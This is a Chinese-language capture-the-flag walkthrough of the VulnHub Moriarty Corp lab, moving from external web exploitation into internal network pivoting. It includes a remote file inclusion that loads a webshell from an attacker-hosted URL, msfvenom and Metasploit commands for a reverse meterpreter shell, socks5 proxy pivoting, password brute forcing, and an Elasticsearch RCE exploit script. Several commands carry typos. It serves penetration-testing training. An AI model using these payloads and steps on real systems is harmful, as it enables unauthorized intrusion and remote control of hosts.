Moriarty Corp靶场攻略

2020-07-31 17:24:07 浏览数 (1)

本文作者:a-running-snail(贝塔安全实验室)

Moriarty Corp靶场环境包含一台外网服务器和三台内网主机,攻击者需先对外网服务器进行web攻击,依据提交flag后的提示信息,逐步获取内网主机权限。本次靶场环境包含以下10个关键部分:

靶场环境

暴力破解

主机发现

文件上传

文件包含

SSH弱口令

payload反弹

任意密码修改

添加代理

远程代码执行

内网探测

个人总结

  • 靶场环境
  • 暴力破解
  • 主机发现
  • 文件上传
  • 文件包含
  • SSH弱口令
  • payload反弹
  • 任意密码修改
  • 添加代理
  • 远程代码执行
  • 内网探测
  • 个人总结

1. 靶场环境

本次所使用的攻击机为kalilinux系统,攻击过程中涉及到的工具主要有:公网主机VPS,中国菜刀/中国蚂剑,burpsuite,msf,MobaXterm,一句话木马,proxychains,nmap,searchsploit,exp脚本等。攻击的拓扑结构如下图所示。

注意: 外网服务器(8000端口)为提交flag以及攻击提示处,并不存在漏洞,请不要进行攻击行为。Flag的存储格式为#_flag.txt,通常存储在服务器的不同目录下面。每次提交flag后都会给相关提示和说明。开始渗透之前须向外网服务器(8000端口)提交flag{start},表示攻击开始正常启动。本次实验的虚拟机采用virtual box.

详细靶场说明请参考:

https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/

靶场下载地址:

Download (Mirror):

https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova

Download (Torrent):

https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent

2. 主机发现

通过arp(地址解析协议)进行局域网内主机发现,arp是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。

代码语言:javascript复制
>>> namp -sn -PR -T 4192.168.124.0/24

-sn:只进行主机发现,不进行端口扫描。

-PR:ARP Ping。

-T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。

3. 文件包含

通过访问页面http://IP/file=name.html,可猜测为目录遍历或者文件包含漏洞,如下为漏洞验证结果。

文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限。如下为远程服务器test.txt文件写入phpinfo();

访问页面对远程主机的test.txt文件进行包含,验证远程文件漏洞真实存在。这样可以在远程服务器写入webshell进行包含,进而获取Moriarty Corp服务器的主机shell权限。

如下所示,通过菜刀直接连接后,可以获取到shell权限。通过查看目录,在根目录查看到1_flag.txt。

木马文件链接地址:http://192.168.124.14/?file=http://xx.xx.xx.xx/snail.txt

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示内网环境中存在重要的网站,里面存在要获取的flag信息,并且告知内网范围在172.17.0.3-254段。由此,开始步入后渗透攻击阶段,由于靶场环境主要以linux系统环境为主,故此处后渗透工具在此处选择metasploit工具为主。

4.Payload反弹

攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):

代码语言:javascript复制
>>> useexploit/multi/handler
>>> set payloadslinux/x64/meterpreter_reverse_tcp
>>> set LHOST192.168.124.15        #监听主机ip地址
>>> set PORT 9999                  #监听主机端口号
>>>exploit -j

生成反弹需要的payload文件:

代码语言:javascript复制
>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

将生成的文件上传到目标主机,并更改payload可执行权限,并执行。

代码语言:javascript复制
>>> chmod 777 shell.elf
>>> ./shell.elf

在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:

5. 添加代理

根据提交flag后系统反馈的提示说明,需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。

执行指令添加路由操作。

代码语言:javascript复制
>>>run autoroute -s 172.17.0.0/24

添加socks5代理:

代码语言:javascript复制
>>>use auxiliary/server/socks5
>>>run

此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。

--- snippet ---[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"socks5 127.0.0.1 1080

6. 内网探测

通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:

代码语言:javascript复制
>>>Proxychains nmap 172.17.0.0/24 -sV  -sT  -Pn  -T4 -p80

7.暴力破解

此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。

通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。

打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:

对拦截的数据更改口令字段,添加常用字典,此处用的字为:top1000.txt。查看破解成功字段的真实口令为password。

8.文件上传

如下图所示,成功将木马上传至服务器:

常用的菜刀,Cknife等工具并不存在代理功能,此处使用中国蚁剑工具进行连接,配置蚁剑代理如下所示:

成功连接到内网的shell后,访问目标系统不同目录,获取第二个flag文件:2_flag.txt

9. SSH弱口令

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,给出几个用户名和密码hash值。对内网中的ssh服务进行弱口令猜解。

通过第三方网站,对给出的hash值进行破解,如下所示为破解的hash结果:

对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。

代码语言:javascript复制
>>>proxychains nmap -sV -t -Pn -p22 127.17.0.0/24

通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:

猜解成功后,获得当前内网主机的基本权限,访问目录后的3_flag.txt。查看并进行提交。

10. 任意用户密码修改

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示说存在一个聊天网站,管理员的聊天记录可能存在有价值的信息。并给出服务器开放端口可能在443,8000,8080,8888。

对内网的443,8000,8080,8888端口进行探测,发现主机172.17.0.9开放8000端口,并对该内网主机web应用进行访问。

代码语言:javascript复制
>>>proxychains nmap -sV -t -Pn -p443,8000,8080,8888 127.17.0.0/24

根据提示给出的用户名和口令进行登陆,查看网站具有两个功能,可以查看chats聊天记录,可以更改用户名密码。尝试抓包,通过更改用户名为管理员,设置口令。此时如果存在任意用户名口令更改漏洞,此时就可以把管理员登陆密码从新设置。

更改后,便可以以管理员身份进行登陆了。通过访问chats可以查看到另外一个flag信息。

将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,文中提到一个web应用Elasticsearch。尝试百度查询了一下,该服务默认运行在9200端口,并存在框架漏洞。

11. 远程代码执行

对内网的9200端口进行探测,发现主机172.17.0.10开放9200端口,并对该内网主机web应用进行访问。

代码语言:javascript复制
>>> proxychains nmap -sV  -sT  -Pn -p9200 127.17.0.0/24

依据kali自带功能searchsploit功能进行版本漏洞搜索:

代码语言:javascript复制
>>>searchsploit elasticsearch

使用36337.py脚本执行远程代码执行攻击,获取shell权限

通过查看目标主机目录,获取flag信息6_flag.txt。

12.个人总结

Moriarty Corp靶场涉及到了web攻击到内网漫游的基本环节,在每一个相关环节作者都给予了提示,漏洞利用方式较为简单。提交完漏洞结束后,就像服务器提示所说被拉入黑名单了,再次访问发现已被拉黑。

0 人点赞